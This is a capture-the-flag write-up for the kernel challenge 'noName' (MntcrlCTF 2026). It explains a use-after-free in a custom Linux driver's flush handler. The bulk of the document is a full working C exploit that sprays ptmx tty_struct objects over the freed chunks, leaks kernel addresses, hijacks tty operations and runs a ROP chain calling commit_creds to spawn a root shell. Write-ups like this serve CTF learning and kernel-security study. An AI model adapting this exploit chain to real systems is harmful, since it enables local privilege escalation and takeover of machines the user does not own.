index.md
13 KiB

#noName - MntcrlCTF 2026

 Β· SoloPietro

#Challenge Description

Oh no, this challenge doesn’t have a name


#Challenge Overview

The challenge defines some operations:

static const struct file_operations ops = {
    .open           = monte_open,
    .flush          = monte_flush,
    .release        = monte_release,
    .unlocked_ioctl = monte_ioctl,
};

where ioctl, in turn, defines 4 operations:

  • IOCTL_ALLOC: Allocates a new chunk;
  • IOCTL_READ: Read the content of a chunks;
  • IOCTL_WRITE: Write to a specific chunk;
  • IOCTL_DELETE: Not is implemented.
static long monte_ioctl(struct file *filep, unsigned int cmd, unsigned long arg)
{
	user_req_t ureq;
	long ret = 0;
	
	if(copy_from_user(&ureq, (user_req_t *)arg, sizeof(user_req_t))){
		return -EINVAL;
	}

	mutex_lock(&monte_lock);
		switch(cmd){
			case IOCTL_ALLOC:
				ret = monte_alloc(ureq.idx);
				break;
			case IOCTL_READ:
				ret = monte_read(ureq.idx, ureq.buf);
				break;
			case IOCTL_WRITE:
				ret = monte_write(ureq.idx, ureq.size, ureq.buf);
				break;
			case IOCTL_DELETE:
			//TODO: implement DELETE
			break;
		default:
			ret = -EINVAL;
	}
	mutex_unlock(&monte_lock);
    return ret;
}

IOCTL_ALLOC calls monte_alloc function:

static long monte_alloc(uint64_t idx)
{
	if(idx >= MAX_CHUNK || allocated >= MAX_CHUNK){
		return -ENOSPC;
	}

	monte_arr[idx] = kmem_cache_zalloc(monte_cachep, GFP_KERNEL);

	if(!monte_arr[idx]){
		return -EFAULT;
	}

	allocated++;
	return 0;
}

if idx or allocated are less than MAX_CHUNK (where MAX_CHUNK = 17) then we can allocate a chunk.

IOCTL_READ calls monte_read function:

static long monte_read(uint64_t idx, char __user *buf)
{
	if(idx >= MAX_CHUNK || !monte_arr[idx]){
		return -EINVAL;
	}

	if(copy_to_user(buf, monte_arr[idx], CHUNK_SIZE)){
        return -EFAULT;
    }

	return 0;
}

Reads chunk content using copy_to_user.

IOCTL_WRITEcalls monte_write function:

static long monte_write(uint64_t idx, uint64_t size, char __user *buf)
{
	if(idx >= MAX_CHUNK || !monte_arr[idx]){
		return -EINVAL;
	}
	
	if (size > CHUNK_SIZE){
        return -EINVAL;
    }

    if(copy_from_user(monte_arr[idx], buf, size)){
		return -EFAULT; 
	}
    
	    return size;
}

Writes to chunks using copy_from_user.

Notice that the driver uses a custom cache:

#define MAX_CHUNK 17
#define CHUNK_SIZE 1024
...
char **monte_arr;
...
static int __init MonteInit(void)
{
	monte_dev.minor = MISC_DYNAMIC_MINOR;
	monte_dev.name = DEVICE_NAME;
	monte_dev.fops = &ops;
	monte_dev.mode = 0644;

	mutex_init(&monte_lock);
	monte_arr = kzalloc(MAX_CHUNK * sizeof(char *), GFP_KERNEL);

	if(misc_register(&monte_dev) && !monte_arr){
		return -1;
	}

	monte_cachep = KMEM_CACHE_USERCOPY(monte_cache, SLAB_PANIC | SLAB_ACCOUNT, buf);

	if(!monte_cachep){
		return -1;
	}

	printk(KERN_INFO "Are you ready?\n");
	return 0;	
}
...

module_init(MonteInit);
module_exit(MonteExit);

Importantly, the driver uses a custom flush function:

static int monte_flush(struct file *filep, fl_owner_t id)
{
	mutex_lock(&monte_lock);
	for(int i = 0; i < MAX_CHUNK; i++){
		if(monte_arr[i]){
			kmem_cache_free(monte_cachep, monte_arr[i]);
		}
	}
	allocated = 0;
	mutex_unlock(&monte_lock);
	kmem_cache_shrink(monte_cachep);
	return 0;
}

finally, the run.sh is:

qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel "$BZIMAGE" \
    -initrd "$OUTPUT_FILE" \
    -no-reboot \
    -enable-kvm \
    -cpu qemu64,+smep,+smap \
    -net nic,model=virtio \
    -net user \
    -monitor /dev/null \
    -drive format=raw,file="$FLAG_FILE",if=virtio \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr rdinit=/init" \
    -s

#Vuln

Whenever we invoke flush() in the driver, it frees all chunks stored in monte_arr. The vulnerability lies in the fact that, because monte_arr is global, we can trigger a Use-After-Free (UAF) condition within the custom cache.

The mont_flush() function is called whenever a file descriptor of the driver is closed.

static const struct file_operations ops = {
    .open           = monte_open,
    .flush          = monte_flush,     // <-----------
    .release        = monte_release,
    .unlocked_ioctl = monte_ioctl,
};

#Exploit

We start by opening the driver twice:

int fd1 = open(DEVICE_NAME, O_RDWR);
int fd2 = open(DEVICE_NAME, O_RDWR);

Next, we fill the cache and close fd1:

// fill monte_cache
memset(buf, 'A', sizeof(buf));
for(int i = 0; i < MAX_CHUNK; i++){
	if(monte_alloc(fd1, i) < 0) err(1, "alloc failed");
	if(monte_write(fd1, i, CHUNK_SIZE, (char *)&buf) < 0) err(1, "write failed");
}

// free monte_chunks
close(fd1);

Consequently, we used the /dev/ptmx driver to locate the chunks affected by the cross-cache attack. To do this, we sprayed ptmx objects and checked each chunk for the presence of a tty_struct. The search_chunk() function keeps allocating ptmx objects until it finds the UAF chunk:

int search_chunk(int fd){
	int ldisc = N_NULL;
	char name[3];
	
	while(!!1){
		for(int i = 0; i < PTMX_SPAM; i++){
			ptmx_fds[i] = open(PTMX_DEVICE, O_RDWR);
			if (ptmx_fds[i] < 0) err(1, "open ptmx failed");
			if (ioctl(ptmx_fds[i], TIOCSETD, &ldisc) < 0) err(1, "ioctl(TIOCSETD, N_NULL) failed");
		}

		for(int i = 0; i < MAX_CHUNK; i++){
			if(monte_read(fd, i, (char *)&buf) < 0) err(1, "read failed");
			memcpy(&name, buf + TTY_NAME_OFF, 3);
		
			// check if tty_struct
			if(name[0] == 'p' && name[1] == 't' && name[2] == 'm'){
				return i;
			}
		}

		for(int i = 0; i < PTMX_SPAM; i++){
			if (ptmx_fds[i] >= 0) {
				close(ptmx_fds[i]);
				ptmx_fds[i] = -1;
			}
		}
	}	
}

Finally, after locating the chunk where the tty_struct is allocated, we obtain all necessary leaks and hijack the tty_struct to trigger a ROP chain and gain root.


Full exploit:

#include <err.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/ioctl.h>

typedef struct{
	int64_t idx;
	uint64_t size;
	char *buf;
}user_req_t;

#define MONTE_IOC_MAGIC 'M'
#define IOCTL_READ   _IOWR(MONTE_IOC_MAGIC, 0, user_req_t)
#define IOCTL_ALLOC  _IOW(MONTE_IOC_MAGIC, 1, user_req_t)
#define IOCTL_WRITE  _IOW(MONTE_IOC_MAGIC, 2, user_req_t)
#define IOCTL_DELETE _IOW(MONTE_IOC_MAGIC, 3, user_req_t)

#define DEVICE_NAME "/dev/MonteDriver"
#define PTMX_DEVICE "/dev/ptmx"

#define MAX_CHUNK 	   17
#define CHUNK_SIZE     1024

#define N_NULL 27
#define PTMX_SPAM 	   256

#define TTY_KOPS_OFF   0x20
#define TTY_ADDR_OFF   0x40
#define TTY_NAME_OFF   0x160

#define KBASE_OFFSET   0xc6f840
#define POP_RDI_OFFS   0xa21e8d 
#define LEAVE_G_OFFS   0xa1ff17
#define SWAPGS_R_OFF   0x1621
#define MOV_RDI_OFFS   0x3bd31c	
#define PREPARE_OFFS   0x3098f0
#define COMMIT_C_OFF   0x3096b0
#define INIT_TASK_OF   0x100ca00

#define FAKE_OPS_OFF   0x200
#define FAKE_IOCTL_    0x60
#define ROP_CHAIN_OF   (0x300/8)

#define WAIT(message) do{puts(message); getchar(); }while(0) 

void hexdump(unsigned char *buf, size_t len) {
    for (size_t i = 0; i < len; i++) {
        printf("%02x ", buf[i]);
        if ((i+1) % 8 == 0) printf(" (%d)\n", i/8);
    }
    printf("\n");
}

void telescope(unsigned char *buf, size_t len) {
	puts("");
    for (size_t i = 0; i + 8 <= len; i += 8) {
        unsigned long val = *(unsigned long *)(buf + i);
        printf("[+0x%03lx]: 0x%016lx\n", i, val);
    }
	puts("");
}

long monte_alloc(int fd, int idx){
	user_req_t req = {
		.idx = idx,
		.size = 0,
		.buf = NULL
	};
	
	return ioctl(fd, IOCTL_ALLOC, &req);
}

long monte_write(int fd, int idx, int size, char *buf){
	user_req_t req = {
		.idx = idx,
		.size = size,
		.buf = buf
	};
	
	return ioctl(fd, IOCTL_WRITE, &req);
}

long monte_read(int fd, int idx, char *buf){
	user_req_t req = {
		.idx = idx,
		.size = 0,
		.buf = buf
	};
	
	return ioctl(fd, IOCTL_READ, &req);
}

unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state() {
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void pop_shell(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}

int ptmx_fds[PTMX_SPAM];
unsigned char buf[CHUNK_SIZE];

int search_chunk(int fd){
	int ldisc = N_NULL;
	char name[3];
	
	while(!!1){
		for(int i = 0; i < PTMX_SPAM; i++){
			ptmx_fds[i] = open(PTMX_DEVICE, O_RDWR);
			if (ptmx_fds[i] < 0) err(1, "open ptmx failed");
			if (ioctl(ptmx_fds[i], TIOCSETD, &ldisc) < 0) err(1, "ioctl(TIOCSETD, N_NULL) failed");
		}

		for(int i = 0; i < MAX_CHUNK; i++){
			if(monte_read(fd, i, (char *)&buf) < 0) err(1, "read failed");
			memcpy(&name, buf + TTY_NAME_OFF, 3);
		
			// check if tty_struct
			if(name[0] == 'p' && name[1] == 't' && name[2] == 'm'){
				return i;
			}
		}

		for(int i = 0; i < PTMX_SPAM; i++){
			if (ptmx_fds[i] >= 0) {
				close(ptmx_fds[i]);
				ptmx_fds[i] = -1;
			}
		}
	}	
}

int main(){
	int fd1 = open(DEVICE_NAME, O_RDWR);
	int fd2 = open(DEVICE_NAME, O_RDWR);
	
	if (fd1 < 0) err(1, "open fd1 failed");
	if (fd2 < 0) err(1, "open fd2 failed");
	
	uint64_t kbase;		
	uint64_t leave;
	uint64_t pop_rdi;
	uint64_t tty_addr;	
	uint64_t init_task;
	uint64_t fake_stack;
	uint64_t mov_rdi_rax;
	uint64_t commit_creds;
	uint64_t kpti_trampoline;
	uint64_t prepare_kernel_cred;

	save_state();

	// fill monte_cache
	memset(buf, 'A', sizeof(buf));
	for(int i = 0; i < MAX_CHUNK; i++){
		if(monte_alloc(fd1, i) < 0) err(1, "alloc failed");
		if(monte_write(fd1, i, CHUNK_SIZE, (char *)&buf) < 0) err(1, "write failed");
	}

	// free monte_chunks
	close(fd1);

	// search chunk UAF
	int uaf_chunk = search_chunk(fd2);

	//get leak
	if(monte_read(fd2, uaf_chunk, (char *)&buf) < 0) err(1, "read failed");
	telescope((char *) &buf, 0x100);

	memcpy(&kbase, buf + TTY_KOPS_OFF, sizeof(kbase));
	memcpy(&tty_addr, buf + TTY_ADDR_OFF, sizeof(tty_addr));

	kbase 		  = ((uint64_t) kbase) - KBASE_OFFSET;
	tty_addr 	  = ((uint64_t) tty_addr) - TTY_ADDR_OFF;
	fake_stack    = tty_addr + (ROP_CHAIN_OF * 8);
	leave 	 	  = kbase + LEAVE_G_OFFS;
	pop_rdi       = kbase + POP_RDI_OFFS;
	mov_rdi_rax   = kbase + MOV_RDI_OFFS;
	init_task 	  = kbase + INIT_TASK_OF;
	commit_creds  = kbase + COMMIT_C_OFF;
	prepare_kernel_cred  = kbase + PREPARE_OFFS;
	kpti_trampoline = kbase + SWAPGS_R_OFF;


	puts("Leaks:");
	printf("kbase: 0x%016lx\n", kbase);
	printf("tty addr: 0x%016lx\n", tty_addr);
	printf("leave addr: 0x%016lx\n", leave);
	printf("mov rdi addr: 0x%016lx\n", mov_rdi_rax);
	printf("commit_creds addr: 0x%016lx\n", commit_creds);
	printf("prepare_kernel_cred addr: 0x%016lx\n", prepare_kernel_cred);
	printf("kpti_trampoline addr: 0x%016lx\n", kpti_trampoline);

	//tty_struct pivoting
	memset(buf+ FAKE_OPS_OFF, '\0', CHUNK_SIZE - FAKE_OPS_OFF);

	*(uint64_t *) (buf + TTY_KOPS_OFF) = tty_addr + FAKE_OPS_OFF;
	*(uint64_t *) (buf + FAKE_OPS_OFF + FAKE_IOCTL_) = leave;

	//ropchain
	((uint64_t *)buf)[ROP_CHAIN_OF + 0] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 1] = pop_rdi;
	((uint64_t *)buf)[ROP_CHAIN_OF + 2] = init_task;
	((uint64_t *)buf)[ROP_CHAIN_OF + 3] = prepare_kernel_cred;
	((uint64_t *)buf)[ROP_CHAIN_OF + 4] = mov_rdi_rax;
	((uint64_t *)buf)[ROP_CHAIN_OF + 5] = commit_creds;
	((uint64_t *)buf)[ROP_CHAIN_OF + 6] = kpti_trampoline;
	((uint64_t *)buf)[ROP_CHAIN_OF + 7] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 8] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 9] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 10] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 11] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 12] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 13] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 14] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 15] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 16] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 17] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 18] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 19] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 20] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 21] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 22] = 0;
	((uint64_t *)buf)[ROP_CHAIN_OF + 23] = (uint64_t)&pop_shell;
	((uint64_t *)buf)[ROP_CHAIN_OF + 24] = user_cs;
	((uint64_t *)buf)[ROP_CHAIN_OF + 25] = user_rflags;
	((uint64_t *)buf)[ROP_CHAIN_OF + 26] = user_sp;
	((uint64_t *)buf)[ROP_CHAIN_OF + 27] = user_ss;
	
	if(monte_write(fd2, uaf_chunk, CHUNK_SIZE, (char *)&buf) < 0) err(1, "write failed");
	//WAIT("pre-ropchain");
	for(int i = 0; i < PTMX_SPAM; i++){
		if(ptmx_fds[i] > -1){
			ioctl(ptmx_fds[i], 0xbadc0ffe, fake_stack);
		}
	}

	WAIT("exploit ended!");
}

Additional Notes:

While I used ptmx, there are alternative paths to complete the exploit, such as leveraging pipe_buffer. However, keep in mind that several syscalls (like those needed for msg_msg) are restricted, and standard targets like modprobe_path are disabled.


~SoloPietro